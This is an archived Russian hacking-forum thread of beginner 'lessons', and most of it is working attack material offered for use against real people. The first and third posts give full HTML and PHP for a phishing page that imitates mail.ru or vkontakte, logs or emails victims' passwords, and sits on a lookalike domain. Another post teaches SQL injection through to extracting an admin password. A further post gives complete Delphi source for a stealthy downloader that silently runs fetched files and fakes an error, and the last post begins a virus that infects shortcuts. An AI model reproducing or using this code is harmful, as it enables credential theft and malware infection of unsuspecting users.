Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Уроки группы 9009

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Уроки группы 9009
Имя
Сообщение << Старые топики   Новые топики >>
Уроки группы 9009 - 2009-05-11 14:46:53.486666   
Neveral

Сообщений: 282
Оценки: 0
Присоединился: 2009-02-10 11:51:27.530000
Здесь наша группа будет выкладывать уроки, не кричите почему так долго нет уроков или почему тема неинтересная. Если что-то не нравится не читайте тему. В этой теме обсуждение запрещено.

http://forum.xakep.ru/m_1507295/mpage_1/key_/tm.htm#1507583 - обсуждение уроков.

/думаю никто не против, если я закреплю.
Post #: 1
RE: Уроки группы 9009 - 2009-05-11 15:07:23.303333   
Neveral

Сообщений: 282
Оценки: 0
Присоединился: 2009-02-10 11:51:27.530000
Урок №1. Повторение - мать учения! Фейки.

Из темы хакера9009 видно, что вопросов больше всего про фейки и pinch, поэтому выкладываю более подробный мануал про создание фейков. Кому не надо прошу ничего не писать.

Поехали:
Из теории: Фейк (подделка) представляет собой ни что иное как копию нужного нам сайта (или отдельных его частей), и работает эта копия на нас, тобишь используется для получения логина и пароля от нужного нам аккаунта.

И так приступим:
Первое что необходимо сделать, это определиться фейк какого сайта мы хотим сделать. В нашем примере мы буде делать фейк mail.ru для этого необходимо перейти на этот сайт и с помощью браузера сохранить всю страничку полностью в отдельную папку, допустим mail_фейк.
Примечание: Сохраняйте страничку под именем index.html (учтите, что двойных расширений быть не должно <s>index.php.html</s>)

После проделанных манипуляций открываем сохранённую страничку в блокноте (правой кнопкой мыши -> открыть с помощью -> блокнот) и ищем строку &lt;form name="Auth" method="post" action="http://win.mail.ru/cgi-bin/auth"&gt; (можно воспользоваться поиском, Ctrl + F) заменяем значение action на log.php должно получится следующее  &lt;form name="Auth" method="post" action="log.php"&gt;
Примечание: Это делается для того, чтобы запрос отсылался не на сервер маил.ру а на наш файлик log.php. В других сайтах эта строка будет выглядеть похожим образом.

После этого спускаемся чуть ниже и ищем строчку <td class="login"><input type="text" class="long" size="10" name="Login" tabindex="1" value="" /> и заменяем значение name на login (регистр важен! пишите с маленькой буквы!) должно получится так <td class="login"><input type="text" class="long" size="10" name="login" tabindex="1" value="" />

Спускаемся ещё чуть ниже и ищем строку <input type="password" class="long" size="15" name="Password" tabindex="3"> и меняем значение name на pass (тоже с маленькой буквы) получится так: <input type="password" class="long" size="15" name="pass" tabindex="3">

***
Параметр name будет всецело зависеть от того как он будет прописан в файле log.php (см. ниже)
Если, допустим, в этом файле будет значение $Login=$_Post['blabla'], то и в параметре name будет blabla (name="blabla")
***
Но в данном примере одного логина и пароля недостаточно, так как нам нужно узнать ещё и домен в котором зарегился нужный нам человек (bk.ru mail.ru inbox.ru и т.д.). Поэтому ищем строку <td class="domain"><select size="1" name="Domain" class="long" tabindex="2"> и меняем значение name на dm )) получится такое <td class="domain"><select size="1" name="dm" class="long" tabindex="2">

Вот и всё! самое сложное позади :D. Теперь создаем файл txt в нашей папке mail_фейк и копипастим туда это:
&lt;?
$Login = $_POST['login']; // Логин
$Pass = $_POST['pass']; // Пароль
$Domen = $_POST['dm']; // Домен
$log = fopen("baza.php","a+"); //открываем файл хранилища
fwrite($log,"&lt;br&gt; $Login:$Pass$Domen \n"); //записываем всё что надо в него
fclose($log); //закрываем хранилище
echo "&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.ru'&gt;&lt;/head&gt;&lt;/html&gt;"; //
перенаправляем на исходную страницу маил.ру
?&gt;

Сохраняем его с именем log.php (расширение смените обязательно с txt на php). Создаем в этой же папке файлик baza.php (с маленькой буквы)

Теперь всё можно уверенно сказать что наш фейк готов к своим делишкам! Осталось залить его на любой бесплатный хостинг с поддержкой php (вот несколько: hut.ru, freehostia.com, 1gb.ru).
Закидываем все наши файы в корневую директорию только что зарегистрированного нами сайта …..переносим туда все наши файлы….
1)index.html
2)полностью папку(с изображениями которая была создана вместе с index.html иначе у нас не будет никаких картинок и логотипов.)
3)baza.php (здесь и будут храниться логины и пароли людей, которые "клюнули" на фейк)
4)log.php
Если необходимо написать как залить файлы на ваш хостинг по ftp сообщите допишу. Но я думаю с этим проблем не должно возникнуть.

От автора: имя сайта лучше всего подобрать похожее на Mail.ru, чтобы ваша жертва ничего не заподозрила (например mall.ru , mali.ru и т.д.). Так же чтобы скрыть непонятную ссылку от жертвы на форумах и сайтах можно воспользоваться тегами
Так же, чтобы другие пользователи не могли просмотреть файл baza.php с логинами и паролями можно дописать в него строку &lt;?php die('&lt;H1&gt;База данных закрыта&lt;/H1&gt;') ; ?&gt; и после этого вам надо будет смотреть его содержимое через ftp.
Мой фейк: http://vcantakte.freehostia.com
Post #: 2
RE: Уроки группы 9009 - 2009-05-14 19:01:25.413333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Урок №2. SQL-Injection. Часть 1.
Введение в SQL-инъекции.
В сети статей по SQL-инъекциям хренова туча. Зачем писать еще одну? Просто все статьи, с которыми я сталкивался, на мой взгляд, были тяжеловаты для новичков, которые только поверхностно знакомы с языком SQL. Цель этой статьи - преподнести материал максимально разжевано, и дать вам общее представление, что же такое SQL-инъекции. Получилось это у меня, или нет, судите сами.

Из литературы по SQL могу порекомендовать книгу "Самоучитель MySQL5" М.Кузнецов, И.Симдянов. Это вам и учебник, это вам и справочник. Так же неплохо бы знать, как сценарий взаимодействует с базой (это вы должны были разобрать при изучении PHP).

Для того чтобы начать тему SQL-инъекций, разберемся со следующими понятиями:
База данных - набор данных, имеющий определенную структуру.
SQL (Structured Query Language) - структурированный язык запросов к базе данных. Грубо говоря на этом языке я пишу, что именно я хочу сделать с данными из базы. Кстати, несмотря на то, что есть официальный стандарт этого языка, все СУБД поддерживают его по-своему.
Система управления базой данных (СУБД) - программа, дли работы с базой данных. Питается командами на языке SQL.

Теперь давайте рассмотрим взаимодействие сценария с базой данных:
- соединение с базой данных,
- формирование запроса к базе данных на языке SQL,
- отправка этого запроса,
- чтение ответа,
- обработка ответа.

SQL-инъекция возможна там, где запрос формируется на основе данных, переданных пользователем. Сразу предупрежу, далее в строках SQL-команд я буду выделять квадратными скобками (для наглядности) часть кода, которая берется из этих данных. А сами сформированные запросы, которые сценарий будет отправлять СУБД, я буду предварять знаком SQL>

Для примера я выбрал самую распространенную связку PHP+MySQL и самый распространенный запрос – генерация страницы из базы по ее id. Сама таблица pages будет иметь всего два столбца: id и content. Наша задача тоже стандартная - найти в базе таблицу зарегистрированных пользователей и слить пароль админа (admin).

Чтоб весь материал урока лучше усвоился, постройте на локалхосте тренировочный полигон (я надеюсь, что Apache+php+MySQL у вас давно уже стоит). Для этого создайте базу данных с таблицами, вписав следующий код в MySQL-клиент:
CREATE DATABASE site; USE site; CREATE TABLE pages ( id INT NOT NULL AUTO_INCREMENT, content TEXT, PRIMARY KEY(id) ); CREATE TABLE users ( id INT NOT NULL AUTO_INCREMENT, name CHAR(32), pass CHAR(32), PRIMARY KEY(id) ); INSERT INTO pages (content) VALUES ('Page number 1'),('Page number 2'),('Page number 3'),('Page number 4'),('Page number 5'); INSERT INTO users (name, pass) VALUES ('Vasya','22vasya22'),('Petya','qwerty'),('Alex','1234567'),('admin','fh&gfkTsu'),('Serega','sex'); Теперь создайте сценарий, который будет работать с базой. Упрощенно код сценария будет следующий:
&lt;?PHP $server='localhost'; //имя сервера базы данных $user='user'; //имя учетной записи, по которой будет осуществляться подключение $pass='pass'; //пароль для учетной записи $dbname='site'; //имя базы данных //подключение к серверу БД по определенной учетной записи, //и сохранение дескриптора соединения в переменную $link $link=mysql_connect($server, $user, $pass); //выбор базы данных mysql_select_db($dbname, $link); //cтрока запроса $sel_query="SELECT * FROM pages WHERE id=".$_GET[id]; //отправка запроса серверу и сохранение дескриптора ответа в переменную $res $res=mysql_query($sel_query , $link); //обработка результата, представление первой строки результата в виде //ассоциативного массива (функция обработки может быть другой). $arr=mysql_fetch_assoc($res); //закрытие соединения с сервером mysql_close($link); //вывод страницы echo $arr[content]; ?&gt; Я нарочно не вставил никаких защит, фильтраций и т.п. чтобы не затруднять код (о защите мы поговорим позже).
Сохраните этот код в каталоге web-сервера в файле test.php. В переменные $user и $pass впишите логин и пароль вашей учетки MySQL. Ну, вот и все, полигон готов.

Теперь приступим к основной теме.

Суть SQL-инъекций заключается в изменении логики запроса путем подстановки в передаваемый параметр специальных символов и команд. Например, известный прием поиска дыр на сайте заключается в прибавлении к передаваемым параметрам одинарной кавычки и ожидании ошибки. В нашем примере, если передать параметр test.php?id=1' сценарий отправит на MySQL-сервер запрос:
SQL&gt; SELECT * FROM pages WHERE id=[1'];
или
SQL&gt; SELECT * FROM pages WHERE id=[1\']; //в случае экранирования кавычек
что является некорректным синтаксисом и вызовет ошибку. Если ошибки не подавляются, то мы увидим сообщение об ошибке. Значит, здесь есть дыра. Начинаем ее раскручивать.

Теперь, если передадим test.php?id=1+OR+1=1 запрос будет выглядеть так:
SQL&gt; SELECT * FROM pages WHERE id=[1 OR 1=1];
Условие будет верно для каждой строки и вернет нам всю таблицу (но сценарий выведет только первую запись).

Суть дела ясна? Теперь можно приступить к основной задаче - изъятию данных из другой таблицы.

Для получения данных из других таблиц мы будем использовать команду UNION, которая объединяет результаты двух запросов в одну результирующую таблицу.

Простой пример:
SQL&gt; SELECT 1,2 UNION SELECT 3,4;
вернет:
+---+---+ | 1 | 2 | | 3 | 4 | +---+---+ Что бы воспользоваться командой UNION, надо выполнить несколько условий:
1) Так как выводится только первая строка, нам надо, чтобы этой строкой была нужная нам информация. Для этого нам надо чтобы первый (основной) запрос не вернул ни одной строки. Вряд ли в базе будут страницы с отрицательными номерами, поэтому пишем test.php?id=-1.
2) В MySQL чтобы соединить два результата, они должны иметь одинаковое число столбцов. Т.е. нам надо знать, сколько столбцов возвращает исходный запрос. Узнать это можно двумя способами:
а) просто перебирая количество полей в UNION.
test.php?id=-1+UNION+SELECT+1
test.php?id=-1+UNION+SELECT+1,2
test.php?id=-1+UNION+SELECT+1,2,3
и т.д. пока не исчезнет сообщение об ошибке.
б) используя конструкцию ORDER BY (или GROUP BY). Конструкция ORDER BY применяется для сортировки результирующей таблицы по значениям какого-либо столбца. Столбец можно указать как именем, так и номером по порядку. Таким образом, при попытке сортировки таблицы по несуществующему полю сгенерируется ошибка. Например, запрос:
SQL&gt; SELECT * FROM pages WHERE id=[25 ORDER BY 3]
выдаст ошибку, т.к. указана сортировка по третьему столбцу, а их всего 2 (я написал в начале, что таблица pages имеет только два столбца, а знак * означает выбор всех столбцов). А если мы укажем сортировку по второму столбцу, то ошибки не будет. Из этого мы сделаем вывод, что исходный запрос возвращает 2 столбца.
Т.о. методом тыка можно определить количество столбцов.

Едем дальше. Мы определили, что запрос возвращает два столбца. Теперь нам надо определить какие столбцы выводятся на страницу. Допустим запрос:
test.php?id=-1+UNION+SELECT+1,2
выведет на страницу цифру 2. Значит, второе поле выводится. Через него мы и будем извлекать данные.

Первым делом проверим, под какой учеткой осуществляется связь сценария с базой, версию СУБД и текущую используемую базу:
test.php?id=-1+UNION+SELECT+1,user()
test.php?id=-1+UNION+SELECT+1,version()
test.php?id=-1+UNION+SELECT+1,database()

Для получения данных из сторонней таблицы надо знать ее имя, имена ее столбцов и имя базы, в которой эта таблица расположена.
Начиная с 5 версии в MySQL есть такая прекрасная вещь, как information_schema. Информационная схема - это виртуальная база с виртуальными таблицами, хранящими структуру всех баз и таблиц данного сервера. В данном уроке я опишу только самые важные таблицы и их поля (тоже только самые важные) информационной схемы.
1) schemata - таблица с именами баз данных. Имеет поле:
schema_name - имя базы данных.
2) tables - таблица с именами всех таблиц. Имеет поля:
table_name - имя таблицы.
table_schema - имя базы данных, которой принадлежит таблица.
3) columns - Таблица с именами столбцов всех таблиц. Имеет поля:
column_name - имя столбца.
table_name - имя таблицы, которой принадлежит данный столбец.
table_schema - имя базы данных, в которой находится таблица, которой принадлежит данный столбец.

Посмотрим имена всех баз. Для этого воспользуемся оператором выбора строк из результата LIMIT (в дальнейшем я покажу, как отказаться от LIMIT и получать кучу данных за один запрос, используя функцию group_concat()):
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+2,1
и т.д.

Нас будет интересовать база site. В ней лежат все таблицы сайта. Просмотрим имена всех таблиц этой базы.
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema='site'+LIMIT+0,1
А вот здесь возникнет первая проблема - экранирование кавычек (включено на большинстве серверов). Не получится сформировать запрос, если в нем есть кавычки. Сервер, получив такую строку запроса, погасит обратными слешами все кавычки и к базе уйдет следующий запрос:
SQL&gt; SELECT * FROM pages WHERE id=[-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=\'site\' LIMIT 0,1];
В этом случае кавычки не будут иметь командного значения, а будут считаться простыми строковыми символами, что является некорректным синтаксисом.

Но эта проблема легко решается двумя способами:
1) переводом текста (без кавычек) в шестнадцатеричное представление. Например: site = 0x73697465
2) использованием функции char() и передачей ей десятеричных кодов символов. Например: site = char(115,105,116,101)

test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+2,1

Получили две таблицы: pages и users.
Теперь для таблицы users надо достать имена столбцов.
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+2,1

Таким образом мы узнаем, что таблица users имеет три поля: id, name, pass.
Ну а теперь дело за малым - достаем пароль админа.
test.php?id=-1+UNION+SELECT+1,pass+FROM+site.users+WHERE+name=0x61646d696e
(так как site является текущей базой, можно вместо site.users написать просто users)

Ну, вот и все для начала.
Жду ваших отзывов, пожеланий и конструктивной критики.

ВНИМАНИЕ!!! В данной теме обсуждение запрещено!!!
Post #: 3
RE: Уроки группы 9009 - 2009-06-11 10:35:38.916666   
Neveral

Сообщений: 282
Оценки: 0
Присоединился: 2009-02-10 11:51:27.530000
Урок №3. Фейк с авторизацией.

Я думаю читатели сего форума уже хорошо усвоили как сделать простой фейк. Задачей этого урока будет усложнение конструкции фейка с целью авторизации под введенным логином и паролем. Плюс будет рассмотрено несколько интересных функций php.

Я не буду вдаваться в подробности создания фейка, более подробно я остановлюсь на файле base.php. Про то, как создать простой фейк узнаете из 1ого моего урока. Помимо файла base.php у нас появится файл config.php, как видно из названия в нем будут хранится настройки. Вот его содержание:

<?
$filesend=true;      //записывать ли в файл введенные логин и пароль, соответственно два значения truе - да&nbsp; и false-нет
$mailsend=false;   //отправлять ли пароль и логин на мыло, также два значения

$writefile="base.txt"; //имя файла в который будет производится запись данных

$mail_mailto="yourmail@yourdomen.ru"; //ваша почта, куда будет отправлены логин и пароль
$mail_subject="пассы"                            //тема письма

?>

Примечание: Отправка на email работает не на всех хостингах, в основном только на платных.


Теперь перейдем непосредственно к содержанию файла log.php:

<?
   require_once("config.php");       // подгружаем настройки фейка
  
$email  = (@$_POST['email']);      //присваиваем переменным
   $pass  = (@$_POST['pass']);        //значение полей email и pass

  
    if($email=="" or $pass=="")                   //Если поля логин и пароль пустые
   {
       echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=login.php'></head></html>";   //то отправляем юзера на страницу с ошибкой входа.

} else {                                                          //Если это не так, поля логин и пароль не пустые, тогда
  
       if($filesend==true){                              //если в вайле конфиг запись в вайл=true, то
           $file = fopen ("$writefile","a+");
           $log = "$email;$pass\r\n";
         fwrite ( $file, $log) ;                           //записываем введенные данные в вайл base.txt
           fclose ($file);                                                                                 
       }

       if($mailsend==true){                                                    //Если отправка на mail включена
           mail($mail_mailto, $mail_subject, '$email;$pass');  //Отправляем на mail логин и пароль
       }
      
       echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/login.php?email=$email&pass=$pass'></head></html>"; } //и перенаправляем //юзера на страницу вконтакте,&nbsp; если логин и пароль верны, то пользователя кинет на его страницу вконтакте.
&nbsp;&nbsp;&nbsp;
?>

Вот вроде и все, мой фейк найдете здесь: http://vcantakte.freehostia.com/

P.S. Можно написать обработчик форм на JavaScripte (спасибо horiz), который будет проверять есть ли текст в полях логин и пароль, если нет высвечивает соответствующее сообщение:

&lt;script&gt;
function checkForm(form){

if(form.login.value!="" &amp;&amp; form.pass.value!=""){form.submit();}
else{alert("Заполнены не все поля");}
}
&lt;/sсriрt&gt;

&lt;form name="Auth" method="post" action="log.php"&gt;
&lt;input type="text" class="long" size="10" name="login" tabindex="1" value="" /&gt;
&lt;input type="password" class="long" size="15" name="pass" tabindex="3"&gt;
&lt;span class="ncc"&gt;&lt;a href="jаvаsсript:document.login.submit()" onClick="checkForm(document.Auth)"&gt;Вход&lt;/a&gt;&lt;/span&gt;
&lt;/form&gt;

Внимание!!! В этой теме обсуждение запрещено!!!

Post #: 4
RE: Уроки группы 9009 - 2009-06-20 22:25:57.073333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
Downloader, или "Трать трафик соседу, пока он не знает".

Думаю, всем когда-нибудь хотелось сделать западло соседу/другу/врагу (да, именно в этом порядке).
Что же мешает кодеру подпортить кому-то жизнь? Ничего! Сегодня мы этим и займемся.

Как гласят разные Вики и прочие, Даунлоадер (от англ. Download - скачивать) - софт, предназначеный для скрытой закачки файлов
на компьютер жертвы с последующим запуском. Файлы чаще всего закачиваются вредоносные,
вроде пинча, бэкдоров или просто вирусов, но что мешает поставить соседу с ограниченым трафом
на загрузку какую-нибудь мыльную оперу размером в 2 гига ? В общем, соседу будет чем заняться на досуге :)

Зверь состоит из двух частей - конфигуратора и, собственно, даунлоадера. Конфигуратор нужен для того,
чтобы без труда записать информацию о загрузках в даунлоадер. Запустить ЕХЕ - не сидеть в HEX-редакторе :)
Писать зверя мы будем на Object Pascal в среде Delphi. Выбран старый добрый паскаль из-зи своей простоты,
и переписать его на ассемблер или Си не составит труда, т.к. в основном, в коде используются функции Win32 API,
которые везде одинаковы.

В начале будем писать конфигуратор, потому-что это проще. Открывай Delphi, создавай новый консольный проект.
После секции Uses вписывай:

type
TDownloadInfo = record // структура заголовка информации о файле
l_link : byte; // длина ссылки
l_saveto : byte; // длина пути сохранения
run : byte; // запускать файл или нет? (0/1)
end;


Этим мы создаем собственный тип записи для хранения инфофрмации о загрузке. Далее объявляем константы:

const
cfg_name = 'main.cfg'; // имя файла конфигурации
down_name = 'Download3r.exe'; // имя даунлоадера для записи инфы


Т.к. запись инфы о загрузках будет производиться в сам исполняемый файл даунлоадера, он должен находится
в папке с конфигуратором и иметь имя, которое мы задали в секции констант. Также это касается и файла настроек.
Объявим нужны переменные:

var
down_file : TDownloadInfo; // экземпляр TDownloadInfo
FC : byte; // количество файлов
DownSize : integer; // размер даунлоадера
i : integer;
num_written : integer; // количество записанных байт
i2 : integer;
l1 : integer; // длина ссылки
l2 : integer; // длина пути
Sum : integer; // сумма длин всех ссылок, опций и т.д.
s : string;
s2 : string;
M_Link : array[1..255] of char; // массив для хранения ссылки
M_SaveTo : array[1..255] of char; // массив для хранения пути
cfgF : text; // файл конфигурации
DownF : file; // файл даунлоадера

Между begin и end вписываем весь код:

AssignFile(cfgF, cfg_name); // открываем файл
Reset(cfgF); // с опциями

AssignFile(DownF, down_name); // открываем файл -
Reset(DownF, 1); // даунлоадер

DownSize:=filesize(DownF); // получаем размер нашего зверя
Seek(DownF, DownSize); // и ставим указатель чтения в конец файла

readln(cfgF, FC); // считываем количество файлов
readln(cfgF); // пропуск строки

for i:=1 to FC do // в этом цикле обрабатываем настройки
begin // и записываем их в даунлоадер
Sum:=Sum+sizeof(down_file); // высчитываем общий размер данных
readln(cfgF, s); // считываем ссылку

l1:=length(s); // определяем ее длину
Sum:=Sum+l1;

for i2:=1 to l1 do
begin
M_Link[i2]:=s[i2]; // заносим в массив ссылку
end;

down_file.l_link:=length(s); // заносим в структуру TDownloadInfo длину ссылки

readln(cfgF, s2); // считываем путь файла
l2:=length(s2); // определяем его длину
Sum:=Sum+l2;

for i2:=1 to l2 do
begin
M_SaveTo[i2]:=s2[i2]; // заносим в массив путь файла
end;

down_file.l_saveto:=length(s2);// заносим в структуру TDownloadInfo длину пути

readln(cfgF, down_file.run); // считываем в структуру флаг запуска
readln(cfgF); // пропуск строки

writeln('link #'+inttostr(i)+' is '+s); // это
writeln('file #'+inttostr(i)+' is '+s2); // что-то

if down_file.run=1 // вроде
then
writeln('file #'+inttostr(i)+' will be launched') // пользовательского
else
writeln('file #'+inttostr(i)+' will NOT be launched'); // интерфейса

writeln;
writeln;

BlockWrite(DownF, down_file, sizeof(down_file), num_written); // записываем структуру TDownloadInfo
BlockWrite(DownF, M_Link, l1, num_written); // записываем ссылку
BlockWrite(DownF, M_SaveTo, l2, num_written); // записываем путь к файлу

end;

Sum:=Sum+sizeof(fc)+sizeof(Sum); // высчитываем полный размер всех данных

BlockWrite(DownF, FC, 1, num_written); // записываем количество файлов
BlockWrite(DownF, Sum, 4, num_written); // записываем размер всех данный

CloseFile(downF); // закрываем файл даунлоадера
CloseFile(cfgF); // и конфигурации

writeln('Finished! Press enter to exit!'); // вот и конец!
readln;

Структура файла конфигурации такова:

[количество файлов для загрузки]
……..
[ссылка]
[путь для сохранения]
[запускать(0/1)]
…….


Пример:

3

http://s12.ucoz.net/a/15/1688.jpg
C:\4.jpg
0

http://s12.ucoz.net/a/15/1689.jpg
C:\5.jpg
0

http://s12.ucoz.net/a/15/1690.jpg
C:\6.jpg
1

А теперь займемся самим даунлоадером. Создавай новый консольный проект, и убирай из него вот это:

{$APPTYPE CONSOLE}

Отступ для совсем новичков в Delphi - эта строка отвечает за то, будет ли у программы свое консольное окно.
Т.к. мы пишем злой код, лишние проявления зверя ни к чему, поэтому уберем окно и будем работать, как
меткий снайпер - "без шума и пыли".

Секция Uses должна выглядеть таким образом:

uses
SysUtils, wininet, windows, shellapi;


wininet - нам нужен для доступа к интернет-функциям;
shellapi - нужен для функции ShellExecute;

Далее объявляем уже знакомую структуру:

type
TDownloadInfo = record // структура заголовка информации о файле
l_link : byte; // длина ссылки
l_saveto : byte; // длина пути сохранения
run : byte; // запускать файл или нет? (0/1)
end;


Далее создадим функцию загрузки файла:

function DownloadFile(const fileURL, FileName: string): boolean;
const
BufferSize = 1024; // размер буфера загрузки

var
hSession, hURL: HInternet; // хэндлы интернет сессии и урл-сессии
Buffer: array[1..BufferSize] of Byte; // сам буфер
BufferLen: DWORD; // думаю понятно
f: file; // файл, куда будем сохранять скачанные данные
sAppName: string; // юзер-агент

begin

sAppName := 'system32.exe'; // таким агентом мы представляемся в нете. хотя кого заботит это?

hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
// открываем интернет-сессию для доступа в сеть

hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0); // открываем урл-сессию

AssignFile(f, FileName); // создаем (перезаписываем)
Rewrite(f,1); // файл, куда будет скачиватся информация

repeat

InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); // скачиваем в буфер кусок данных
BlockWrite(f, Buffer, BufferLen); // и записываем его в файл

until BufferLen = 0; // пока файл не кончится - тоесть пока не будет прочтено 0 байт

CloseFile(f); // закрываем файл

InternetCloseHandle(hURL); // закрываем урл-сессию
InternetCloseHandle(hSession); // закрываем интернет-сессию

result:=true;
end;

Описание интернет-функций можно найти на сайте мелкомягких http://msdn.microsoft.com
Объявляем нужные переменные:

var
fn : string; // тут будет хранится путь к себе
s : string;
hndl : thandle; // хендл себя :)
fc : byte; // свой хендл - для чтения опций загрузки
i : integer;
fs : integer;
i2 : integer;
num_read : cardinal; // сюда будет попадать кол.-во прочитаных байт
Sum : integer; // общая длина путей и ссылок - нужна для чтения опций загрузки
down_file : TDownloadInfo; // экземпляр TDownloadInfo
M_Link : array[1..255] of char; // массив для хранения ссылки файла
M_SaveTo : array[1..255] of char; // массив для хранения пути для сохранения файла

Между begin и end пишем:

s:=GetCommandLine; // используя эту АПИ-функцию получаем путь к себе - аналог Application.ExeName

for i:=1 to length(s) do
begin // Так как эта АПИ получает путь с кавычками,
if s&lt;&gt;'"' then // их нужно убрать.
fn:=fn+s; // Что и происходит в этом цикле.
end;

hndl := CreateFile(pchar(fn), GENERIC_READ, // открываем себя для доступа к данным о загрузках
FILE_SHARE_READ, nil, OPEN_EXISTING, // все параметры - открытие только для чтения
FILE_ATTRIBUTE_NORMAL,0);

fs:=GetFileSize(hndl,nil); // сохраняем в переменную fs размер себя

SetFilePointer(hndl, fs-5, nil, FILE_BEGIN);
// этой АПИ мы ставим позицию
// для чтения файла в положение - за 5 байт до конца файла
// так как последние 5б файла это:
// - кол.-во файлов (1б)
// - размер всех путей и и ссылок вместе с опциями

ReadFile(hndl, fc, sizeof(fc), num_read, nil); // читаем количество файлов для загрузки
ReadFile(hndl, Sum, sizeof(Sum), num_read, nil); // читаем размер всех путей и и ссылок вместе с опциями

SetFilePointer(hndl, fs-sum, nil, FILE_BEGIN);
// ставим указатель в место, где начинаются структуры файлов для загрузки

for i:=1 to fc do // в этом цикле происходит чтение данных и их обработка
begin
ReadFile(hndl, down_file, sizeof(down_file), num_read, nil); // считываем структуру TDownloadInfo

ReadFile(hndl, M_Link, down_file.l_link, num_read, nil); // считываем ссылку к файлу длиной в down_file.l_link

ReadFile(hndl, M_SaveTo, down_file.l_saveto, num_read, nil); // считываем путь к файлу длиной в down_file.l_saveto

DownloadFile(M_Link, M_SaveTo); // загружаем файл с интернета

if down_file.run=1 then // если параметр=1 значит запустим файл!
begin
s:='';

for i2:=1 to down_file.l_saveto do // этим циклом мы
s:=s+M_SaveTo[i2]; // присваиваем переменной s путь к фалу

ShellExecute(0, 'open', pchar(s), '', '', SW_HIDE); // запускаем файл!

end;
end;

CloseHandle(hndl); // закрываем себя

// т.к. у жертвы могут появится подозрения, что "ломалка почты" даже не появилась на экране,
// вызовем ошибку "Деление на ноль"

i2:=0;
i:=1 div i2;

// чтобы дельфи не соптимизировала деление на ноль,
// сделаем вид что переменая i нам очень нужна
writeln(i);

Вобщем, вот таким вот нехитрым способом можно заставить отслюнявить соседа пол зарплаты за скачаную Санта-Барбару (все 158 сезонов).
Код чисто учебный, т.к. нет проверок на кривые хендлы и т.д. Но код можно здорово усовершенстовать,
прикрутив добавление файлов в автозагрузку, копирование в системные папки и еще кучу всего.
Было бы желание и прямые руки. Все это я оставляю на тебя - думай и совершенствуй.
Для желающих создать мультифункционального монстра, советую сайт http://delphisources.ru. Там много всего.

Ну а для ленивих, я загрузил оба проекта - их осталось только скомпилить.
http://vazonez.at.ua/publications/downloader.zip

На этом я прощаюсь до следующей статьи! Не ленись и кодъ до посинения!

VaZoNeZ ©
Post #: 5
RE: Уроки группы 9009 - 2009-06-28 19:51:59.210000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
Link Virus aka "Ужас Ярлыков"

Некоторые читатели могут спросить: "Что это такое и с чем его едят ?". Это вредоносная программа, которая поражает ярлыки - файлы с расширением ".lnk".
Идея заражения ярлыков базируется на изменении пути объекта ярлыка. Пример: ярлык ссылается на программу "C:\program.exe",
а вирус меняет этот путь на свой (допустим, "C:\virus.exe"), да так, что ярлык не теряет работоспособности,
т.к. старый путь сохраняется в виде параметров командной строки к вирусу, т.е. путь в ярлыке после заражения становится
"C:\virus.exe C:\program.exe". Вот примерно по такому сценарию будет написан код. Кстати, пользоваться будем Delphi, поэтому запускай ее!

Самые часто используемые ярлыки в системе находятся в Главном Меню и на Рабочем Столе. Именно с ярлыками этих папок мы будем работать.
Плюс папки Главного Меню состоит в том, что тут находится директория "Автозагрузка", и надеюсь ты понял, почему это хорошо.

Для работы с файлом ярлыка можно использовать обычные API функции для работы с файлами - структура файла ярлыка есть в интернете
(хорошее описание и пример на асме есть в 8-ом выпуске VX-журнала 29А), но есть путь легче - интерфейс IShellLink (MSDN),
который предназначен для работы с ярлыками. Полезными для нас будут функции GetPath, SetPath, GetIconLocation, SetIconLocation и SetArguments.
GetPath - получает путь к файлу, к которому указывает ярлык.
SetPath - записывает путь к файлу в ярлык.
GetIconLocation - получает путь к иконке ярлыка (если после создания ярлыка иконку не меняли и вместо неё используется иконка файла,
на который указывает ярлык, то этот путь будет пустым).
SetIconLocation - записывает путь к иконке в ярлык.
SetArguments - записывает аргументы командной строки в ярлык. Это очень важная функция - с ее помощью мы будем записывать в ярлык путь к жертве.

Начнем-с! Так как я люблю строить всякие схемы, вот схема работы вируса:

1) Получаем системную директорию.
2) Копируем себя туда (т.к. при заражении ярлыков используется путь к вирусу и путь этот должен быть постоянным,
а из-за того, что вирус может быть извлечен из архива каким-нибудь WinRar'ом во временную директорию и позже удален,
лучше поместить копию вируса в безопасное место и прописывать в ярлыках путь именно туда).
3) Заражаем ярлыки рабочего стола.
